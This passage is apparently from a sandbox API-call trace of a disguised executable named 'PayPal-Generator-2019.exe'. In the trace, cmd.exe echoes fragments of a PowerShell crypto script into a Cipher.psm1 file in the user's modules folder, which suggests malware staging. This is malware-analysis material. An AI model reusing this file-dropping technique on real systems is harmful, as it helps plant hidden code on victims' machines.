nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2f118, lpOverlapped=0x0 | out: lpBuffer=0xe2f128*, lpNumberOfBytesRead=0xe2f118*=0x1, lpOverlapped=0x0) returned 1 [0048.865] GetConsoleTitleW (in: lpConsoleTitle=0xe2ef28, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0048.867] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0048.867] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0048.867] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0048.867] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0048.867] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0048.867] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0048.868] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0048.868] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0048.868] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0048.868] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0048.868] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2eee4 | out: _Buffer=" [Parameter(ParameterSetName='PlainText')] \r\n") returned 49 [0048.868] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.868] GetFileType (hFile=0x3c) returned 0x1 [0048.868] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.868] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [Parameter(ParameterSetName='PlainText')] \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [Parameter(ParameterSetName='PlainText')] \r\n", lpUsedDefaultChar=0x0) returned 50 [0048.868] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0xe2eed4, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2eed4*=0x31, lpOverlapped=0x0) returned 1 [0048.868] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0048.873] _close (_FileHandle=3) returned 0 [0048.873] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.873] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.873] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.873] GetFileType (hFile=0x3c) returned 0x2 [0048.873] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0048.873] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2f0cc | out: lpMode=0xe2f0cc) returned 1 [0048.875] _dup (_FileHandle=1) returned 3 [0048.875] _close (_FileHandle=1) returned 0 [0048.875] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0048.875] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2f0ac, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0048.875] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0048.875] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.875] GetFileType (hFile=0x3c) returned 0x1 [0048.875] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1ad [0048.875] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2f0c4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2f0c4*=0) returned 0x1ac [0048.875] ReadFile (in: hFile=0x3c, lpBuffer=0xe2f0c8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2f0b8, lpOverlapped=0x0 | out: lpBuffer=0xe2f0c8*, lpNumberOfBytesRead=0xe2f0b8*=0x1, lpOverlapped=0x0) returned 1 [0048.875] GetConsoleTitleW (in: lpConsoleTitle=0xe2eec8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0048.880] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0048.880] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0048.880] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0048.880] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0048.880] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0048.880] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0048.880] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0048.880] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0048.880] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0048.880] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0048.880] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2ee84 | out: _Buffer=" [Switch]$AsPlainText) \r\n") returned 29 [0048.880] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.880] GetFileType (hFile=0x3c) returned 0x1 [0048.880] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.880] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [Switch]$AsPlainText) \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [Switch]$AsPlainText) \r\n", lpUsedDefaultChar=0x0) returned 30 [0048.880] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x1d, lpNumberOfBytesWritten=0xe2ee74, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2ee74*=0x1d, lpOverlapped=0x0) returned 1 [0048.881] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0048.882] _close (_FileHandle=3) returned 0 [0048.882] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.882] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.882] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.883] GetFileType (hFile=0x3c) returned 0x2 [0048.883] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0048.883] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2f06c | out: lpMode=0xe2f06c) returned 1 [0048.891] _dup (_FileHandle=1) returned 3 [0048.891] _close (_FileHandle=1) returned 0 [0048.891] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0048.891] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2f04c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0048.892] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0048.892] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.892] GetFileType (hFile=0x3c) returned 0x1 [0048.892] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1ca [0048.892] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2f064*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2f064*=0) returned 0x1c9 [0048.892] ReadFile (in: hFile=0x3c, lpBuffer=0xe2f068, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2f058, lpOverlapped=0x0 | out: lpBuffer=0xe2f068*, lpNumberOfBytesRead=0xe2f058*=0x1, lpOverlapped=0x0) returned 1 [0048.892] GetConsoleTitleW (in: lpConsoleTitle=0xe2ee68, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0048.913] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0048.913] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0048.913] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0048.913] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0048.913] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0048.913] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0048.913] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0048.913] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0048.913] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0048.913] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0048.913] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2ee24 | out: _Buffer=" Process { \r\n") returned 20 [0048.913] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.913] GetFileType (hFile=0x3c) returned 0x1 [0048.914] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.914] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" Process { \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Process { \r\n", lpUsedDefaultChar=0x0) returned 21 [0048.914] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0xe2ee14, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2ee14*=0x14, lpOverlapped=0x0) returned 1 [0048.914] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0048.920] _close (_FileHandle=3) returned 0 [0048.920] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.920] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.920] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.920] GetFileType (hFile=0x3c) returned 0x2 [0048.921] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0048.921] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2f00c | out: lpMode=0xe2f00c) returned 1 [0048.923] _dup (_FileHandle=1) returned 3 [0048.923] _close (_FileHandle=1) returned 0 [0048.923] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0048.924] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2efec, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0048.924] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0048.924] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.924] GetFileType (hFile=0x3c) returned 0x1 [0048.924] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1de [0048.924] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2f004*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2f004*=0) returned 0x1dd [0048.924] ReadFile (in: hFile=0x3c, lpBuffer=0xe2f008, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2eff8, lpOverlapped=0x0 | out: lpBuffer=0xe2f008*, lpNumberOfBytesRead=0xe2eff8*=0x1, lpOverlapped=0x0) returned 1 [0048.924] GetConsoleTitleW (in: lpConsoleTitle=0xe2ee08, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0048.926] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0048.926] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0048.926] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0048.926] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0048.926] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0048.926] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0048.926] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0048.926] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0048.926] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0048.926] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0048.926] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2edc4 | out: _Buffer=" try { \r\n") returned 24 [0048.926] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.926] GetFileType (hFile=0x3c) returned 0x1 [0048.926] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.926] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" try { \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" try { \r\n", lpUsedDefaultChar=0x0) returned 25 [0048.926] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xe2edb4, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2edb4*=0x18, lpOverlapped=0x0) returned 1 [0048.926] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0048.932] _close (_FileHandle=3) returned 0 [0048.933] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.933] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.933] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.933] GetFileType (hFile=0x3c) returned 0x2 [0048.933] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0048.933] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2efac | out: lpMode=0xe2efac) returned 1 [0048.936] _dup (_FileHandle=1) returned 3 [0048.937] _close (_FileHandle=1) returned 0 [0048.937] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0048.937] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2ef8c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0048.937] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0048.937] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.937] GetFileType (hFile=0x3c) returned 0x1 [0048.937] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1f6 [0048.937] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2efa4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2efa4*=0) returned 0x1f5 [0048.937] ReadFile (in: hFile=0x3c, lpBuffer=0xe2efa8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2ef98, lpOverlapped=0x0 | out: lpBuffer=0xe2efa8*, lpNumberOfBytesRead=0xe2ef98*=0x1, lpOverlapped=0x0) returned 1 [0048.938] GetConsoleTitleW (in: lpConsoleTitle=0xe2eda8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0048.940] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0048.941] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0048.941] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0048.941] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0048.941] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0048.941] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0048.941] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0048.941] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0048.941] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0048.941] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0048.941] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2ed64 | out: _Buffer=" $Crypto = [System.Security.Cryptography.SymmetricAlgorithm]::Create($Algorithm) \r\n") returned 95 [0048.941] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.941] GetFileType (hFile=0x3c) returned 0x1 [0048.941] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.941] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $Crypto = [System.Security.Cryptography.SymmetricAlgorithm]::Create($Algorithm) \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $Crypto = [System.Security.Cryptography.SymmetricAlgorithm]::Create($Algorithm) \r\n", lpUsedDefaultChar=0x0) returned 96 [0048.941] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0xe2ed54, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2ed54*=0x5f, lpOverlapped=0x0) returned 1 [0048.942] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0048.948] _close (_FileHandle=3) returned 0 [0048.949] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.949] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.949] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.949] GetFileType (hFile=0x3c) returned 0x2 [0048.949] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0048.949] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2ef4c | out: lpMode=0xe2ef4c) returned 1 [0048.950] _dup (_FileHandle=1) returned 3 [0048.950] _close (_FileHandle=1) returned 0 [0048.950] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0048.950] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2ef2c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0048.951] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0048.951] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.951] GetFileType (hFile=0x3c) returned 0x1 [0048.951] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x255 [0048.951] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2ef44*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2ef44*=0) returned 0x254 [0048.951] ReadFile (in: hFile=0x3c, lpBuffer=0xe2ef48, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2ef38, lpOverlapped=0x0 | out: lpBuffer=0xe2ef48*, lpNumberOfBytesRead=0xe2ef38*=0x1, lpOverlapped=0x0) returned 1 [0048.951] GetConsoleTitleW (in: lpConsoleTitle=0xe2ed48, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0048.952] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0048.952] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0048.952] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0048.953] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0048.953] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0048.953] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0048.953] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0048.953] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0048.953] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0048.953] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0048.953] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2ed04 | out: _Buffer=" if($PSBoundParameters.ContainsKey('KeySize')){ \r\n") returned 62 [0048.953] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.953] GetFileType (hFile=0x3c) returned 0x1 [0048.953] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.953] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" if($PSBoundParameters.ContainsKey('KeySize')){ \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" if($PSBoundParameters.ContainsKey('KeySize')){ \r\n", lpUsedDefaultChar=0x0) returned 63 [0048.953] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xe2ecf4, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2ecf4*=0x3e, lpOverlapped=0x0) returned 1 [0048.955] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0048.957] _close (_FileHandle=3) returned 0 [0048.957] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.957] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.957] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.957] GetFileType (hFile=0x3c) returned 0x2 [0048.957] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0048.957] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2eeec | out: lpMode=0xe2eeec) returned 1 [0048.958] _dup (_FileHandle=1) returned 3 [0048.958] _close (_FileHandle=1) returned 0 [0048.958] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0048.958] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2eecc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0048.959] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0048.959] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.959] GetFileType (hFile=0x3c) returned 0x1 [0048.959] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x293 [0048.959] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2eee4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2eee4*=0) returned 0x292 [0048.959] ReadFile (in: hFile=0x3c, lpBuffer=0xe2eee8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2eed8, lpOverlapped=0x0 | out: lpBuffer=0xe2eee8*, lpNumberOfBytesRead=0xe2eed8*=0x1, lpOverlapped=0x0) returned 1 [0048.959] GetConsoleTitleW (in: lpConsoleTitle=0xe2ece8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0048.960] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0048.960] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0048.960] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0048.960] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0048.960] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0048.961] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0048.961] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0048.961] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0048.961] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0048.961] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0048.961] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2eca4 | out: _Buffer=" $Crypto.KeySize = $KeySize } \r\n") returned 60 [0048.961] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.961] GetFileType (hFile=0x3c) returned 0x1 [0048.961] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.961] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $Crypto.KeySize = $KeySize } \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $Crypto.KeySize = $KeySize } \r\n", lpUsedDefaultChar=0x0) returned 61 [0048.961] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x3c, lpNumberOfBytesWritten=0xe2ec94, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2ec94*=0x3c, lpOverlapped=0x0) returned 1 [0048.961] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0048.973] _close (_FileHandle=3) returned 0 [0048.973] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.973] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.973] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.973] GetFileType (hFile=0x3c) returned 0x2 [0048.973] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0048.973] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2ee8c | out: lpMode=0xe2ee8c) returned 1 [0048.975] _dup (_FileHandle=1) returned 3 [0048.975] _close (_FileHandle=1) returned 0 [0048.975] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0048.975] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2ee6c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0048.976] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0048.976] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.976] GetFileType (hFile=0x3c) returned 0x1 [0048.976] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2cf [0048.976] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2ee84*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2ee84*=0) returned 0x2ce [0048.976] ReadFile (in: hFile=0x3c, lpBuffer=0xe2ee88, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2ee78, lpOverlapped=0x0 | out: lpBuffer=0xe2ee88*, lpNumberOfBytesRead=0xe2ee78*=0x1, lpOverlapped=0x0) returned 1 [0048.976] GetConsoleTitleW (in: lpConsoleTitle=0xe2ec88, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0048.978] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0048.978] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0048.978] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0048.978] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0048.978] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0048.978] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0048.978] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0048.978] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0048.978] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0048.978] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0048.978] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2ec44 | out: _Buffer=" $Crypto.GenerateKey() \r\n") returned 37 [0048.978] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.978] GetFileType (hFile=0x3c) returned 0x1 [0048.978] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.978] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $Crypto.GenerateKey() \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $Crypto.GenerateKey() \r\n", lpUsedDefaultChar=0x0) returned 38 [0048.978] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x25, lpNumberOfBytesWritten=0xe2ec34, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2ec34*=0x25, lpOverlapped=0x0) returned 1 [0048.978] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0048.981] _close (_FileHandle=3) returned 0 [0048.981] _get_osfhandle (_FileHandle=1) returned 0x3c [0048.981] _get_osfhandle 